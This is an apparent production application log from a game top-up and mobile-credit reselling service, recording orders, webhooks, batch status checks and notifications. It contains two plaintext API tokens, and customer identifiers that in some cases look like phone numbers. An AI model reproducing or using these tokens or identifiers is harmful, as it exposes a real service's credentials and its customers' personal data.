[2026-03-24 20:43:21] production.INFO: Operation sent successfully {"operation_id":164226,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-NX6SijbD-1774374201","amount":0.89249999999999996003197111349436454474925994873046875,"status":"processing","product":"60UC","game":"PUBG","notes":[],"created_at":"2026-03-24 20:43:21"}},"processed_data":{"order_number":"ORD-NX6SijbD-1774374201","amount":0.89249999999999996003197111349436454474925994873046875,"status":"processing","product":"60UC","game":"PUBG"}} 
[2026-03-24 20:43:33] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-NX6SijbD-1774374201","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 20:43:33] production.INFO: Processed webhook data (normalized) {"id":"ORD-NX6SijbD-1774374201","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 20:43:33] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 20:43:33] production.INFO: SendAcceptReject: Notification queued {"user_id":1552,"notification_type":"order_approved","reference_id":179349} 
[2026-03-24 20:43:33] production.INFO: Order updated successfully. Order ID: 179349, Status: completed  
[2026-03-24 20:43:33] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-NX6SijbD-1774374201","status":"completed","codes_count":0} 
[2026-03-24 20:43:33] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1552  
[2026-03-24 20:44:03] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-mzpSX4-1774373669","status":"completed","notes":["جميع العمليات اكتملت بنجاح"],"codes":[]}} 
[2026-03-24 20:44:03] production.INFO: Processed webhook data (normalized) {"id":"ORD-mzpSX4-1774373669","status":"completed","codes":[],"notes":["جميع العمليات اكتملت بنجاح"]} 
[2026-03-24 20:44:03] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 20:44:03] production.INFO: SendAcceptReject: Notification queued {"user_id":1759,"notification_type":"order_approved","reference_id":179340} 
[2026-03-24 20:44:03] production.INFO: Order updated successfully. Order ID: 179340, Status: completed  
[2026-03-24 20:44:03] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-mzpSX4-1774373669","status":"completed","codes_count":0} 
[2026-03-24 20:44:03] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"f5qfLlGWdfvJAOVr4SvlhFxL1lcGb7Do","execution_time":"2026-03-24 20:44:03"} 
[2026-03-24 20:44:03] production.INFO: Found pending operations {"job":"Quryjob","job_id":"f5qfLlGWdfvJAOVr4SvlhFxL1lcGb7Do","execution_time":"2026-03-24 20:44:03","total_operations":1,"sites_count":1} 
[2026-03-24 20:44:03] production.INFO: Processing site batch {"job":"Quryjob","job_id":"f5qfLlGWdfvJAOVr4SvlhFxL1lcGb7Do","execution_time":"2026-03-24 20:44:03","site_id":3,"site_name":"swgamessd","orders_count":1,"order_ids":["ORD-P2Wh-1774374128"]} 
[2026-03-24 20:44:03] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"f5qfLlGWdfvJAOVr4SvlhFxL1lcGb7Do","execution_time":"2026-03-24 20:44:03","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 20:44:03] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"f5qfLlGWdfvJAOVr4SvlhFxL1lcGb7Do","execution_time":"2026-03-24 20:44:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":1} 
[2026-03-24 20:44:03] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"f5qfLlGWdfvJAOVr4SvlhFxL1lcGb7Do","execution_time":"2026-03-24 20:44:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-P2Wh-1774374128","operation_id":164225} 
[2026-03-24 20:44:03] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"f5qfLlGWdfvJAOVr4SvlhFxL1lcGb7Do","execution_time":"2026-03-24 20:44:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-P2Wh-1774374128","operation_id":164225,"processed":0,"skipped":1,"updates_prepared":0} 
[2026-03-24 20:44:03] production.INFO: Batch query completed {"job":"Quryjob","job_id":"f5qfLlGWdfvJAOVr4SvlhFxL1lcGb7Do","execution_time":"2026-03-24 20:44:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-P2Wh-1774374128","operation_id":164225,"processed":0,"errors":0} 
[2026-03-24 20:44:03] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"f5qfLlGWdfvJAOVr4SvlhFxL1lcGb7Do","execution_time":"2026-03-24 20:44:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-P2Wh-1774374128","operation_id":164225} 
[2026-03-24 20:44:03] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1759  
[2026-03-24 20:44:24] production.INFO: Constructing job for order: 179350  
[2026-03-24 20:44:27] production.INFO: Handling job for order: 179350  
[2026-03-24 20:44:27] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 20:44:27] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 20:44:27] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/53/params?qty=1&uuid=a5850d96-5038-4442-a8ac-391b3972d0c7&Player_ID=5769221037  
[2026-03-24 20:44:27] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/53/params?qty=1&uuid=a5850d96-5038-4442-a8ac-391b3972d0c7&Player_ID=5769221037","has_body":false} 
[2026-03-24 20:44:28] production.INFO: Operation sent successfully {"operation_id":164227,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-u7lH1i9-1774374268","amount":0.89249999999999996003197111349436454474925994873046875,"status":"processing","product":"60UC","game":"PUBG","notes":[],"created_at":"2026-03-24 20:44:28"}},"processed_data":{"order_number":"ORD-u7lH1i9-1774374268","amount":0.89249999999999996003197111349436454474925994873046875,"status":"processing","product":"60UC","game":"PUBG"}} 
[2026-03-24 20:44:45] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-u7lH1i9-1774374268","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 20:44:45] production.INFO: Processed webhook data (normalized) {"id":"ORD-u7lH1i9-1774374268","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 20:44:45] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 20:44:45] production.INFO: SendAcceptReject: Notification queued {"user_id":1552,"notification_type":"order_approved","reference_id":179350} 
[2026-03-24 20:44:45] production.INFO: Order updated successfully. Order ID: 179350, Status: completed  
[2026-03-24 20:44:45] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-u7lH1i9-1774374268","status":"completed","codes_count":0} 
[2026-03-24 20:44:46] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1552  
[2026-03-24 20:45:01] production.INFO: Executing GetProducts task...  
[2026-03-24 20:45:01] production.INFO: بدأت مهمة GetProducts  
[2026-03-24 20:45:01] production.INFO: Executing GetProducts task...  
[2026-03-24 20:45:03] production.INFO: async() رجع: true  
[2026-03-24 20:45:03] production.INFO: هبدأ في refreshPriceinsite()  
[2026-03-24 20:45:03] production.WARNING: Product with ID 395 not found  
[2026-03-24 20:45:04] production.WARNING: Product with ID 213 not found  
[2026-03-24 20:45:04] production.WARNING: Product with ID 212 not found  
[2026-03-24 20:45:04] production.WARNING: Product with ID 211 not found  
[2026-03-24 20:45:04] production.WARNING: Product with ID 210 not found  
[2026-03-24 20:45:04] production.WARNING: Product with ID 209 not found  
[2026-03-24 20:45:04] production.WARNING: Product with ID 214 not found  
[2026-03-24 20:45:04] production.WARNING: Product with ID 215 not found  
[2026-03-24 20:45:04] production.WARNING: Product with ID 216 not found  
[2026-03-24 20:45:04] production.INFO: خلصت refreshPriceinsite()  
[2026-03-24 20:46:01] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"RbDvYs0no4oVE1gzx1WRXnXrF6UsSG5v","execution_time":"2026-03-24 20:46:01"} 
[2026-03-24 20:46:01] production.INFO: Found pending operations {"job":"Quryjob","job_id":"RbDvYs0no4oVE1gzx1WRXnXrF6UsSG5v","execution_time":"2026-03-24 20:46:01","total_operations":1,"sites_count":1} 
[2026-03-24 20:46:01] production.INFO: Processing site batch {"job":"Quryjob","job_id":"RbDvYs0no4oVE1gzx1WRXnXrF6UsSG5v","execution_time":"2026-03-24 20:46:01","site_id":3,"site_name":"swgamessd","orders_count":1,"order_ids":["ORD-P2Wh-1774374128"]} 
[2026-03-24 20:46:01] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"RbDvYs0no4oVE1gzx1WRXnXrF6UsSG5v","execution_time":"2026-03-24 20:46:01","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 20:46:02] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"RbDvYs0no4oVE1gzx1WRXnXrF6UsSG5v","execution_time":"2026-03-24 20:46:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":1} 
[2026-03-24 20:46:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"RbDvYs0no4oVE1gzx1WRXnXrF6UsSG5v","execution_time":"2026-03-24 20:46:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-P2Wh-1774374128","operation_id":164225} 
[2026-03-24 20:46:02] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"RbDvYs0no4oVE1gzx1WRXnXrF6UsSG5v","execution_time":"2026-03-24 20:46:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-P2Wh-1774374128","operation_id":164225,"processed":0,"skipped":1,"updates_prepared":0} 
[2026-03-24 20:46:02] production.INFO: Batch query completed {"job":"Quryjob","job_id":"RbDvYs0no4oVE1gzx1WRXnXrF6UsSG5v","execution_time":"2026-03-24 20:46:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-P2Wh-1774374128","operation_id":164225,"processed":0,"errors":0} 
[2026-03-24 20:46:02] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"RbDvYs0no4oVE1gzx1WRXnXrF6UsSG5v","execution_time":"2026-03-24 20:46:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-P2Wh-1774374128","operation_id":164225} 
[2026-03-24 20:46:03] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-P2Wh-1774374128","status":"completed","notes":["جميع العمليات اكتملت بنجاح"],"codes":[]}} 
[2026-03-24 20:46:03] production.INFO: Processed webhook data (normalized) {"id":"ORD-P2Wh-1774374128","status":"completed","codes":[],"notes":["جميع العمليات اكتملت بنجاح"]} 
[2026-03-24 20:46:03] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 20:46:03] production.INFO: SendAcceptReject: Notification queued {"user_id":1626,"notification_type":"order_approved","reference_id":179348} 
[2026-03-24 20:46:03] production.INFO: Order updated successfully. Order ID: 179348, Status: completed  
[2026-03-24 20:46:03] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-P2Wh-1774374128","status":"completed","codes_count":0} 
[2026-03-24 20:46:05] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1626  
[2026-03-24 20:47:25] production.INFO: Constructing job for order: 179351  
[2026-03-24 20:47:26] production.INFO: Handling job for order: 179351  
[2026-03-24 20:47:26] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 20:47:26] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 20:47:26] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/109/params?qty=10000&uuid=133f0fd9-33f4-4eb7-b8be-e0ed516f37e2&Player_ID=6146462764  
[2026-03-24 20:47:26] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/109/params?qty=10000&uuid=133f0fd9-33f4-4eb7-b8be-e0ed516f37e2&Player_ID=6146462764","has_body":false} 
[2026-03-24 20:47:27] production.INFO: Operation sent successfully {"operation_id":164228,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-rZ83ix-1774374446","amount":1.1256000000000001559641304993419907987117767333984375,"status":"processing","product":"Tokens Amount","game":"Jawaker","notes":[],"created_at":"2026-03-24 20:47:27"}},"processed_data":{"order_number":"ORD-rZ83ix-1774374446","amount":1.1256000000000001559641304993419907987117767333984375,"status":"processing","product":"Tokens Amount","game":"Jawaker"}} 
[2026-03-24 20:47:33] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-rZ83ix-1774374446","status":"completed","notes":["جميع العمليات اكتملت بنجاح"],"codes":[]}} 
[2026-03-24 20:47:33] production.INFO: Processed webhook data (normalized) {"id":"ORD-rZ83ix-1774374446","status":"completed","codes":[],"notes":["جميع العمليات اكتملت بنجاح"]} 
[2026-03-24 20:47:33] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 20:47:33] production.INFO: SendAcceptReject: Notification queued {"user_id":36,"notification_type":"order_approved","reference_id":179351} 
[2026-03-24 20:47:33] production.INFO: Order updated successfully. Order ID: 179351, Status: completed  
[2026-03-24 20:47:33] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-rZ83ix-1774374446","status":"completed","codes_count":0} 
[2026-03-24 20:47:36] production.ERROR: FCM send failed for token 78: Requested entity was not found.  
[2026-03-24 20:47:36] production.ERROR: FCM send failed for token 97: Requested entity was not found.  
[2026-03-24 20:47:36] production.ERROR: FCM send failed for token 126: Requested entity was not found.  
[2026-03-24 20:48:03] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"NV5SFpRP9vj7ic6do9jFO7iiUvbtOHfI","execution_time":"2026-03-24 20:48:03"} 
[2026-03-24 20:48:03] production.INFO: No pending operations found. {"job":"Quryjob","job_id":"NV5SFpRP9vj7ic6do9jFO7iiUvbtOHfI","execution_time":"2026-03-24 20:48:03"} 
[2026-03-24 20:49:39] production.INFO: Creating credit request {"payload":{"method_id":"13","amount":"1500.0","mainamount":"1500","operation_number":"158720546","currency_id":"2","file":{"Illuminate\\Http\\UploadedFile":"/tmp/phpgq680110miogc1lgq3F"}},"user_id":1285} 
[2026-03-24 20:49:39] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 1  
[2026-03-24 20:49:39] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 5  
[2026-03-24 20:49:39] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 6  
[2026-03-24 20:49:39] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 7  
[2026-03-24 20:49:39] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 8  
[2026-03-24 20:49:39] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 9  
[2026-03-24 20:49:39] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 10  
[2026-03-24 20:49:39] production.INFO: UnifiedNotificationService: Sent to 7 admins with permission 'view balance requests'  
[2026-03-24 20:49:39] production.INFO: NotifyAdminsOfPendingRequest: Notifications sent via unified service {"request_id":18705,"user_id":1285,"amount":1500.0,"admins_notified":7} 
[2026-03-24 20:50:03] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"Qm9kvG5xACzkjd6jbPlkmrfdttOyEE6D","execution_time":"2026-03-24 20:50:03"} 
[2026-03-24 20:50:03] production.INFO: No pending operations found. {"job":"Quryjob","job_id":"Qm9kvG5xACzkjd6jbPlkmrfdttOyEE6D","execution_time":"2026-03-24 20:50:03"} 
[2026-03-24 20:50:03] production.INFO: Executing GetProducts task...  
[2026-03-24 20:50:03] production.INFO: بدأت مهمة GetProducts  
[2026-03-24 20:50:03] production.INFO: Executing GetProducts task...  
[2026-03-24 20:50:05] production.INFO: async() رجع: true  
[2026-03-24 20:50:05] production.INFO: هبدأ في refreshPriceinsite()  
[2026-03-24 20:50:06] production.WARNING: Product with ID 395 not found  
[2026-03-24 20:50:06] production.WARNING: Product with ID 213 not found  
[2026-03-24 20:50:06] production.WARNING: Product with ID 212 not found  
[2026-03-24 20:50:06] production.WARNING: Product with ID 211 not found  
[2026-03-24 20:50:06] production.WARNING: Product with ID 210 not found  
[2026-03-24 20:50:06] production.WARNING: Product with ID 209 not found  
[2026-03-24 20:50:06] production.WARNING: Product with ID 214 not found  
[2026-03-24 20:50:06] production.WARNING: Product with ID 215 not found  
[2026-03-24 20:50:06] production.WARNING: Product with ID 216 not found  
[2026-03-24 20:50:07] production.INFO: خلصت refreshPriceinsite()  
[2026-03-24 20:50:56] production.INFO: Constructing job for order: 179352  
[2026-03-24 20:50:58] production.INFO: Handling job for order: 179352  
[2026-03-24 20:50:58] production.INFO: 219 {"apiToken":"8jz3jp0yds45726kahf2pll8an"} 
[2026-03-24 20:50:58] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 20:50:58] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/815/params?qty=1&uuid=24df1fd9-be9c-490c-9007-58f8798dbeb9&Player_ID=0981403266  
[2026-03-24 20:50:58] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/815/params?qty=1&uuid=24df1fd9-be9c-490c-9007-58f8798dbeb9&Player_ID=0981403266","has_body":false} 
[2026-03-24 20:50:59] production.INFO: Operation sent successfully {"operation_id":164229,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-vjHXVnZ-1774374658","amount":456.6342200000000275394995696842670440673828125,"status":"processing","product":"432.69 Units SYR","game":"SYRIATEL UNITS","notes":[],"created_at":"2026-03-24 20:50:59"}},"processed_data":{"order_number":"ORD-vjHXVnZ-1774374658","amount":456.6342200000000275394995696842670440673828125,"status":"processing","product":"432.69 Units SYR","game":"SYRIATEL UNITS"}} 
[2026-03-24 20:51:05] production.INFO: Constructing job for order: 179353  
[2026-03-24 20:51:08] production.INFO: Handling job for order: 179353  
[2026-03-24 20:51:08] production.INFO: 219 {"apiToken":"8jz3jp0yds45726kahf2pll8an"} 
[2026-03-24 20:51:08] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 20:51:08] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/30/params?qty=1&uuid=fe0e155c-11f7-4650-946e-0f14554cf556&Player_ID=0981403266  
[2026-03-24 20:51:08] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/30/params?qty=1&uuid=fe0e155c-11f7-4650-946e-0f14554cf556&Player_ID=0981403266","has_body":false} 
[2026-03-24 20:51:08] production.INFO: Operation sent successfully {"operation_id":164230,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-KRQ-1774374668","amount":10.1505600000000004712319423560984432697296142578125,"status":"processing","product":"9.62 Units SYR","game":"SYRIATEL UNITS","notes":[],"created_at":"2026-03-24 20:51:08"}},"processed_data":{"order_number":"ORD-KRQ-1774374668","amount":10.1505600000000004712319423560984432697296142578125,"status":"processing","product":"9.62 Units SYR","game":"SYRIATEL UNITS"}} 
[2026-03-24 20:51:38] production.INFO: Constructing job for order: 179354  
[2026-03-24 20:51:40] production.INFO: Constructing job for order: 179355  
[2026-03-24 20:51:41] production.INFO: Handling job for order: 179354  
[2026-03-24 20:51:41] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 20:51:41] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 20:51:41] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/602/params?qty=84000&uuid=5da0fb59-091c-47ff-87fb-75a45cb50670&Player_ID=63874065  
[2026-03-24 20:51:41] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/602/params?qty=84000&uuid=5da0fb59-091c-47ff-87fb-75a45cb50670&Player_ID=63874065","has_body":false} 
[2026-03-24 20:51:42] production.INFO: Operation sent successfully {"operation_id":164231,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-s4rzHxO-1774374702","amount":5.26021439999999973480271364678628742694854736328125,"status":"processing","product":"4fun Amount","game":"4Fun","notes":[],"created_at":"2026-03-24 20:51:42"}},"processed_data":{"order_number":"ORD-s4rzHxO-1774374702","amount":5.26021439999999973480271364678628742694854736328125,"status":"processing","product":"4fun Amount","game":"4Fun"}} 
[2026-03-24 20:51:42] production.INFO: Handling job for order: 179355  
[2026-03-24 20:51:42] production.INFO: 219 {"apiToken":"8jz3jp0yds45726kahf2pll8an"} 
[2026-03-24 20:51:42] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 20:51:42] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/36/params?qty=1&uuid=6097a41a-c66f-4841-8cf6-d63d6b6357b0&Player_ID=0989582009  
[2026-03-24 20:51:42] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/36/params?qty=1&uuid=6097a41a-c66f-4841-8cf6-d63d6b6357b0&Player_ID=0989582009","has_body":false} 
[2026-03-24 20:51:43] production.INFO: Operation sent successfully {"operation_id":164232,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-ziaJZD-1774374703","amount":65.9585000000000007958078640513122081756591796875,"status":"processing","product":"62.50 Units SYR","game":"SYRIATEL UNITS","notes":[],"created_at":"2026-03-24 20:51:43"}},"processed_data":{"order_number":"ORD-ziaJZD-1774374703","amount":65.9585000000000007958078640513122081756591796875,"status":"processing","product":"62.50 Units SYR","game":"SYRIATEL UNITS"}} 
[2026-03-24 20:52:01] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"sUXREslgDhqIGSnoSKEhg84J8Rr2Ga0x","execution_time":"2026-03-24 20:52:01"} 
[2026-03-24 20:52:01] production.INFO: Found pending operations {"job":"Quryjob","job_id":"sUXREslgDhqIGSnoSKEhg84J8Rr2Ga0x","execution_time":"2026-03-24 20:52:01","total_operations":4,"sites_count":2} 
[2026-03-24 20:52:01] production.INFO: Processing site batch {"job":"Quryjob","job_id":"sUXREslgDhqIGSnoSKEhg84J8Rr2Ga0x","execution_time":"2026-03-24 20:52:01","site_id":4,"site_name":"swgamessls","orders_count":3,"order_ids":["ORD-vjHXVnZ-1774374658","ORD-KRQ-1774374668","ORD-ziaJZD-1774374703"]} 
[2026-03-24 20:52:01] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"sUXREslgDhqIGSnoSKEhg84J8Rr2Ga0x","execution_time":"2026-03-24 20:52:01","site_id":4,"site_name":"swgamessls"} 
[2026-03-24 20:52:01] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"sUXREslgDhqIGSnoSKEhg84J8Rr2Ga0x","execution_time":"2026-03-24 20:52:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":3} 
[2026-03-24 20:52:01] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"sUXREslgDhqIGSnoSKEhg84J8Rr2Ga0x","execution_time":"2026-03-24 20:52:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ziaJZD-1774374703","operation_id":164232,"processed":3,"skipped":0,"updates_prepared":3} 
[2026-03-24 20:52:01] production.INFO: Starting chunked batch processing {"job":"Quryjob","job_id":"sUXREslgDhqIGSnoSKEhg84J8Rr2Ga0x","execution_time":"2026-03-24 20:52:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ziaJZD-1774374703","operation_id":164232,"total_items":3,"chunks":1,"chunk_size":10} 
[2026-03-24 20:52:01] production.INFO: Bulk updated operations {"job":"Quryjob","job_id":"sUXREslgDhqIGSnoSKEhg84J8Rr2Ga0x","execution_time":"2026-03-24 20:52:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ziaJZD-1774374703","operation_id":164232,"count":3} 
[2026-03-24 20:52:01] production.INFO: Bulk updated orders {"job":"Quryjob","job_id":"sUXREslgDhqIGSnoSKEhg84J8Rr2Ga0x","execution_time":"2026-03-24 20:52:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ziaJZD-1774374703","operation_id":164232,"count":3} 
[2026-03-24 20:52:01] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"sUXREslgDhqIGSnoSKEhg84J8Rr2Ga0x","execution_time":"2026-03-24 20:52:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ziaJZD-1774374703","operation_id":164232,"user_id":107,"notification_type":"order_approved","reference_id":179353} 
[2026-03-24 20:52:01] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"sUXREslgDhqIGSnoSKEhg84J8Rr2Ga0x","execution_time":"2026-03-24 20:52:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ziaJZD-1774374703","operation_id":164232,"user_id":107,"notification_type":"order_approved","reference_id":179352} 
[2026-03-24 20:52:01] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"sUXREslgDhqIGSnoSKEhg84J8Rr2Ga0x","execution_time":"2026-03-24 20:52:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ziaJZD-1774374703","operation_id":164232,"user_id":1056,"notification_type":"order_approved","reference_id":179355} 
[2026-03-24 20:52:01] production.INFO: Chunk 1 processing completed {"job":"Quryjob","job_id":"sUXREslgDhqIGSnoSKEhg84J8Rr2Ga0x","execution_time":"2026-03-24 20:52:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ziaJZD-1774374703","operation_id":164232,"chunk_number":1,"processed":3,"errors":0,"total_operations":3,"total_orders":3,"total_codes":0,"total_refunds":0} 
[2026-03-24 20:52:01] production.INFO: Batch processing completed {"job":"Quryjob","job_id":"sUXREslgDhqIGSnoSKEhg84J8Rr2Ga0x","execution_time":"2026-03-24 20:52:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ziaJZD-1774374703","operation_id":164232,"total_processed":3,"total_errors":0,"chunks_processed":1} 
[2026-03-24 20:52:01] production.INFO: Batch update completed {"job":"Quryjob","job_id":"sUXREslgDhqIGSnoSKEhg84J8Rr2Ga0x","execution_time":"2026-03-24 20:52:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ziaJZD-1774374703","operation_id":164232,"processed":3,"errors":0} 
[2026-03-24 20:52:01] production.INFO: Batch query completed {"job":"Quryjob","job_id":"sUXREslgDhqIGSnoSKEhg84J8Rr2Ga0x","execution_time":"2026-03-24 20:52:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ziaJZD-1774374703","operation_id":164232,"processed":3,"errors":0} 
[2026-03-24 20:52:01] production.INFO: Processing site batch {"job":"Quryjob","job_id":"sUXREslgDhqIGSnoSKEhg84J8Rr2Ga0x","execution_time":"2026-03-24 20:52:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ziaJZD-1774374703","operation_id":164232,"orders_count":1,"order_ids":["ORD-s4rzHxO-1774374702"]} 
[2026-03-24 20:52:01] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"sUXREslgDhqIGSnoSKEhg84J8Rr2Ga0x","execution_time":"2026-03-24 20:52:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ziaJZD-1774374703","operation_id":164232} 
[2026-03-24 20:52:01] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"sUXREslgDhqIGSnoSKEhg84J8Rr2Ga0x","execution_time":"2026-03-24 20:52:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ziaJZD-1774374703","operation_id":164232,"orders_count":1} 
[2026-03-24 20:52:01] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"sUXREslgDhqIGSnoSKEhg84J8Rr2Ga0x","execution_time":"2026-03-24 20:52:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-s4rzHxO-1774374702","operation_id":164231} 
[2026-03-24 20:52:01] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"sUXREslgDhqIGSnoSKEhg84J8Rr2Ga0x","execution_time":"2026-03-24 20:52:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-s4rzHxO-1774374702","operation_id":164231,"processed":0,"skipped":1,"updates_prepared":0} 
